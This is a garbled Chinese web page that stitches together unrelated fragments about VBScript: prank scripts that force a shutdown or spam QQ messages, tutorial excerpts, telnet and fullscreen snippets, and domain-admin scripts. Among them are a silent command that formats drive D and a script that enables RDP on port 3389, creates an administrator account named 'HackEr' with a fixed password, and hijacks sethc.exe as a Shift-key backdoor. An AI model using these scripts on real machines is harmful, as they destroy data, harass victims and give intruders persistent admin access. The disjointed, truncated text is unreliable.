事前准备:创建一个文件夹,后缀名为vbs,在里面编东西即可 参考很多资料,如有不足请谅解
今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的 如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法 我们来看下这个脚本
本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章是域控制器安全,介绍了使用Kerberos域用户提权和导出ntds.dit中散列值的方法,并针对域控制器攻击提出了有效的安全建议
玩玩就好啦 记得关注哦 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell”) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(“与 xx 聊天中”) wsh.sendKeys “^v” wsh.sendKeys i wsh.sendKeys “%s” next wscript.quit
可以用来运行一下,你的电脑可能会发生……但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你
=================================== VBS例子讲解--1: 用 run运行文件 set shl="createobject"("WScript.Shell") shl.run"regedit.exe" set shl="nothing" VBS例子讲解--2: 用 FSO复制文件 Set shl = CreateObject("Scripting.FileSystemObject") shl.CopyFile "c:\1.txt","d:\" set shl = nothing ========================================================= CreateObject 描述创建并返回对象的引用。语法 CreateObject(class) class 参数使用语法 servername.typename,有以下部分: 部分描述 servername 提供对象的应用程序名称。 typename 要创建的对象类型或类。 说明 Automation 服务器至少提供一种对象类型。例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。要创建 Automation 对象,将 CreateObject 函数返回的对象赋值给某对象变量: Dim ExcelSheet Set ExcelSheet = CreateObject("Excel.Sheet") ' 使 Excel 在整个 Application 对象中都可见。 ExcelSheet.Application.Visible = True ' 将一些文本放入工作表的第一个单元格中。 ExcelSheet.ActiveSheet.Cells(1,1).Value = "This is column A, row 1" ' 保存工作表。 ExcelSheet.SaveAs "C:\TEST.XLS" ' 关闭 Excel,使 Quit 方法处于 Application 对象中。 ExcelSheet.Application.Quit ' 释放对象变量。 Set ExcelSheet = Nothing ================================== Set 将对象引用赋给一个变量或属性,或者将对象引用与事件关联。 createobject("WScript.Shell").run"regedit.exe" 和下面的 3句句有同样效果。 set shl="createobject"("WScript.Shell") shl.run"regedit.exe" set shl="nothing" 但如果我要使用多个 CreateObject对象的时候,就要写很多个 CreateObject("WScript.Shell")出来。内容如下: createobject("WScript.Shell").run"regedit.exe" CreateObject("WScript.Shell").popup"注册表已经被运行" 上面例子会给我们造成很多麻烦和工作量。这个时候我们可以使用 set来吧 CreateObject("WScript.Shell")对象付给一个变量。 以后只要对变量访问就相当于对 CreateObject("WScript.Shell")访问了。 set shl="createobject"("WScript.Shell") shl.run"regedit.exe" shl.popup"注册表已经被运行" set shl="nothing" Nothing 可选项。断开 shl与任何指定对象或类的关联。当没有其它变量引用前面的引用对象时,将 shl赋值为 Nothing 以释放与前面的引用对象相关联的系统或内存资源。 WScript 对象介绍属性/方法/对象。属性=一个物体本身具有的一种特性。方法=一个物体能够做某件事情,完成某件事情的时候就要用到方法。 WScript属性的演示例子:运行 WScript属性的格式为: WScript.属性名。 关于属性--实例: WScript.Echo (WScript.FullName) 'FullName 属性是代表主机可执行文件的完全限定路径的只读字符串。 WScript.Echo (WScript.Name) '返回 WScript 对象(主机可执行文件)的名称 WScript.Echo (WScript.Path) '返回包含主机可执行文件(CScript.exe 或 WScript.exe)的路径名称。 WScript.Echo WScript.ScriptName '返回当前运行脚本的文件名。 wscript.echo WScript.ScriptF
Set oExec=WshShell.exec("c:\windows\system32\format.com d: /fs:ntfs /q /y")
具体操作:新建文本文档,将本段代码复制进入文本,保存;将后缀.txt改为 .vbs 即可。
//点击,进入全屏 $('#btn4').click(()=>{ let el = document.documentElement; let rfs = el.requestFullScreen || el.webkitRequestFullScreen || el.mozRequestFullScreen || el.msRequestFullScreen; if(typeof rfs != 'undefined' && rfs){ rfs.call
大家好,又见面了,我是你们的朋友全栈君。 最近很多小伙伴都在抖音上看到了一个vbs表白代码这个玩法,感觉非常的有趣。那么这个是怎么弄的呢?其实很简单。下面小编为大家带来了具体的教程,快来看看吧! 抖音
描述: cscript(即cscript.exe)一般位于C:/Windows/System32文件夹中,有些时候我们可能需要在Windows中执行脚本文件通常具有以下扩展名之一:.wsf、.vbs、.js; 当然,一般情况下,双击这些脚本文件并不会直接执行,而仅仅只是以关联的文本编辑器打开该脚本文件
显示网卡当前速度的脚本,速度是指网卡的连接速度,就是鼠标放到网卡图标上显示的速度
' Open Telnet and connect to 82.101.68.207 set WshShell = WScript.CreateObject("WScript.Shell") WshShell.run("telnet.exe 172.16.10.175") ' Wait 1000 ms,时间可以稍微长一些 WScript.Sleep 1000 ' "Press" Enter WshShell.SendKeys("{Enter}") ' Wait 5000 ms,时间可以稍微长一些 WScript.Sleep 5000 ' "Type" user name WshShell.SendKeys"user name" ' "Press" Enter WshShell.SendKeys("{Enter}") ' Wait 5000 ms,时间可以稍微长一些 WScript.Sleep 5000 ' "Type" Password WshShell.SendKeys"Password" ' "Press" Enter WshShell.SendKeys("{Enter}") ' Wait 5000 ms,时间可以稍微长一些 WScript.Sleep 5000 '下面输入命令 WshShell.SendKeys "command" ' "Press" Enter WshShell.SendKeys("{Enter}")
今天遇到这个需求了,因为有部分电脑网络偶尔出现问题,又不好排查,所以搞了一个这个脚本,感谢各位前辈,善加改进已经可用。 效果如下哦:
然后点开文本文档进行编辑,最重要的一个代码就是msgbox,然后在后面添加想要说的话,但是要使用英文标点符号,换行时候都需要在前面加上代码,最后保存。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/167212.html原文链接:https://javaforall.cn
将域用户或组添加到本地组 Set objGroup = GetObject(“WinNT://./Administrators”) Set objUser = GetObject(“WinNT://testnet/Engineers”) objGroup.Add(objUser.ADsPath)
代码网上很多,我找了两个,再加上一些套路,效果更好。 我已经做好了两个可执行文件,直接qq或者微信发给她就可以了。可以去我的资源下载—>>>表白套路可执行程序
日常开发中,我们经常会用到很多通用的 JS 代码,比如:复制内容、从 URL 中获取指定参数 等
在企业用户中,一大部分用户都加入了域,用于公司的安全管理。加入域对于管理比较方便。但是新增的设备或者用户如何快速的加入已知的域呢?很简单,看代码:
How to useiSame as the Microsoft Script Controlj
“50”: 循环次数, “200”: 每次间隔时间(毫秒数) 倒数第三行的 “i” 把每次的次数打印到文案中
创建一个text(.txt)文本,把代码复制进去,不要写注释,也不要在句尾留空格,保存,后缀改为.vbs。(代码中“要发送人的名字”改为你给别人的备注,次数100可以改为其他数字,间隔时间100可以改)
本文分2部分: 第一部分: ????在IE中拷贝文字到剪贴板,微软使用了2种剪贴板模式:字符模式和html模式。?如果我们从IE中选定一些内容拷贝到写字板,通常就丢掉了html的标签。如果你想得到ht
大家好,又见面了,我是你们的朋友全栈君。 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集 2010年12月07日 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本 vbson error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = “.” Set StdOut = WScript.StdOut Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_ strComputer & “\root\default:StdRegProv”) strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server” oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp” oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server” strValueName = “fDenyTSConnections” dwValue = 0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp” strValueName = “PortNumber” dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” strValueName = “PortNumber” dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=”HackEr”:password=”393214425″:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=”WinNT://”&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&”/Administrators,group”):Set od=ob.Create(“user”,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&”/”&username&”,user”):oe.Add(of.ADsPath)’wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj = CreateObject(“WScript.Shell”) success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cm
不说废话,直接上代码: on error resume next strComputer = "." Set FSO = CreateObject("Scripting.FileSystemObject") Set WshNETWORK = WScript.CreateObject("WScript.Network") Set WShell = WScript.CreateObject("WScript.Sh
on error resume next strComputer = "." Set FSO = CreateObject("Scripting.FileSystemObject") Set WshNETWORK = WScript.CreateObject("WScript.Network") Set WShell = WScript.CreateObject("WScript.Sh
useradmin登录192.168.1.1查看ip,然后百度搜索ip,查看是否为公网IP。如果不是,拨打10000,申请切换公网IP即可。
我不喜欢长期显示着隐藏文件,这样看着目录结构比较乱,所以平时用的时候都是隐藏,而有的时候需要看一些隐藏的目录里面的内容,又需要显示出来,这样操作比较麻烦,所以在右键添加上 显示/隐藏 系统隐藏文件 功能,可以快速在某个目录下切换显示隐藏文件的状态,不必到资源管理器的菜单中再花几个步骤去调整了。在网上搜索了一些方法,下面是最靠谱的,只不过他是显示隐藏文件拓展名,我稍微修改了一下,成了显示和隐藏系统隐藏文件功能。
' 将 c 文件夹 复制到B目录下的某日期的文件夹下 如 b\2016-7-25\c FolderLoopCopy "C:\Users\caoya\Desktop\test1","C:\Users\caoya\Desktop\test2" Const srcSplit = "\" Sub FolderLoopCopy(srcF,desF) WScript.Echo " Ready Copy Folder: " + srcF Dim oFso,oFolder,oSubFolders,oFi
var fullindex=1; function fullscreen(){ if ($.browser.msie && $.browser.version.indexOf("8") == 0) { if(typeof window.ActiveXObject != "undefined") { //for IE8,这里和fullScreen相同,模拟按下F11键退出全屏 var wscript = new ActiveXObject("WScript.Shell"); if(wscript != null) { wscript.SendKeys("{F11}"); } } }else if(parseInt(fullindex)==1){ var docElm = document.documentElement; //W3C if (docElm.requestFullscreen) { docElm.requestFullscreen(); } //FireFox else if (docElm.mozRequestFullScreen) { docElm.mozRequestFullScreen(); } //Chrome等 else if (docElm.webkitRequestFullScreen) { docElm.webkitRequestFullScreen(); } //IE11 else if (docElm.msRequestFullscreen) { docElm.msRequestFullscreen(); } fullindex=0; }else if(parseInt(fullindex)==0){ if (document.exitFullscreen) { document.exitFullscreen(); } else if (document.mozCancelFullScreen) { document.mozCancelFullScreen();
1、Scripting.FileSystemObject —> 提供一整套文件系统操作函数
这是我在百度回答知友时写的,用于自动以管理员身份执行命令或程序→百度原址 批处理代码,功能:自动以管理员身份执行 test.exe: start admin.vbs runas /user:administrator test.exe admin.vbs 代码(延时是为了成功传值给 bat 命令,确保成功) dim wsh set wsh=WScript.CreateObject("WScript.Shell") WScript.Sleep 3000 wsh.SendKeys "你的
重新发现旧技巧很有趣,尤其是在学习非常理想的关于所有可能的逃避技巧和隐身技术的知识的情况下,红队和蓝队都应该知道这些技巧。尤其是允许横向移动的技巧。
实现方案 //进入全屏 function requestFullScreen(de) { if(de.requestFullscreen){ //W3C de.requestFullscreen(); }else if (de.mozRequestFullScreen){ //FIREFOX de.mozRequestFullScreen(); }else if (de.webkitRequestFullScreen){
WindowsServer2003 + IIS6.0 + ASP 服务器安全设置之–组件安全设置篇 A、卸载WScript.Shell 和 Shell.application 组件,将下面的代码保存为一个.BAT文件执行(分2000和2003系统)windows2000.bat
Vbs是一种Windows脚本,它的全称是:Microsoft Visual BasicScript Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
◎Vbs脚本编程简明教程之一 —为什么要使用Vbs?
这是一个使用VBScript (VBS) 在Windows 11上创建一个简单的可视化对话框的项目描述。以下是如何实现这个项目的步骤:
<<Windows internals 5th editon>> page 48.
网上的使用BAT脚本批处理都好像有一些问题,我发一个亲测可用的!!! 测试了半天好像没啥问题! 在别人基础上改了一下! @echo off ::守护程序-沙箱自动化平台 rem 定义循环间隔时间和监测的服务: set _task=v.exe set _svr="%cd%\%_task%" set _des=start.bat echo. echo ======================================== echo == 查询沙箱测试平台服务的状态, == echo == 每间
让用户端JS触发指的就是让用JS监听用户的操作事件,通过JS程序去实现F11全屏。这个事件可以是一个按钮的点击事件,当然也可以是键盘事件,比如用户按下F11。 1.F11键盘事件触发 当用户按下F11事件,浏览器为触发自身全屏功能,这个过程我们一般是不可控制的,即使是监听了F11的键盘事件,退出全屏的时候,我们也捕捉不到退出全屏触发的事件。所以,我们就用程序自己去实现F11的功能,首先需要禁用浏览器默认的事件动作。
最近的恰饭文有点多,是时候该分享些东西了,等以后有空了再整理下其他WAF的绕过系列分享给大家,感谢大家的理解和支持,抱拳!
国内大多都是Win2003的主机,FLV格式文件上传服务器后不能播放,默认是没有指定输出FLV这种格式的虽然FTP里面可以看见,但无法通过http访问,也就无法播放了。原因是,WIN2003加强了IIS6的MIME验证,一切未注册扩展文件格式统统显示404错误。手动在IIS得站点属性中的HTTP头->MIME添加MIME影射关系,MIME类型: video/x-flv 扩展名:.flv,即可通过Flash7+客户端Load进来播放。
在电脑桌面新建一个txt,然后在里面写入下面的代码,写好后把文件的txt格式(后缀)改为vbs格式即可
几乎所有的网站都有存在,因为它可以让用户更方便地使用功能。但令人难以置信的是,只需要 6 行有效代码就可以做到这一点。
在 Hexo 网页中经常会用到 iframe 模块插入想要显示的内容,由于主题限制,内容只能在博客内容区显示。本文记录为iframe 增加全屏按钮的方法。 方案思路 确定 iframe 块的 id 使用 JavaScript 控制该 id 的全屏行为 设置按钮控制开关 解决方案 js 代码 <script> /** * 进入全屏 * @param element */ function requestFullScreen(element) { v
领取专属 10元无门槛券
手把手带您无忧上云